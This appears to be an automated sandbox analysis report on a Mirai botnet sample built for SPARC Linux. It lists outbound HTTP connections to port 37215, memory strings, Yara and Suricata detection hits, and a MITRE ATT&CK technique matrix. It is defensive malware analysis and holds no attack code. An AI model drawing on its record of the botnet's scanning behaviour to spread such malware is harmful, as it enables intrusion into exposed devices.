Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45738 -> 37215

Source: /tmp/z0r0.spc.elf (PID: 5821)

Queries kernel information via 'uname':

Jump to behavior

Source: z0r0.spc.elf, 5821.1.000056491f822000.000056491f8a7000.rw-.sdmp, z0r0.spc.elf, 5825.1.000056491f822000.000056491f8a7000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: z0r0.spc.elf, 5821.1.00007ffe6104b000.00007ffe6106c000.rw-.sdmp, z0r0.spc.elf, 5825.1.00007ffe6104b000.00007ffe6106c000.rw-.sdmp	Binary or memory string: Krx86_64/usr/bin/qemu-sparc/tmp/z0r0.spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/z0r0.spc.elf
Source: z0r0.spc.elf, 5821.1.000056491f822000.000056491f8a7000.rw-.sdmp, z0r0.spc.elf, 5825.1.000056491f822000.000056491f8a7000.rw-.sdmp	Binary or memory string: IV!/etc/qemu-binfmt/sparc
Source: z0r0.spc.elf, 5821.1.00007ffe6104b000.00007ffe6106c000.rw-.sdmp, z0r0.spc.elf, 5825.1.00007ffe6104b000.00007ffe6106c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: z0r0.spc.elf, type: SAMPLE
Source: Yara match	File source: 5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: z0r0.spc.elf, type: SAMPLE
Source: Yara match	File source: 5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
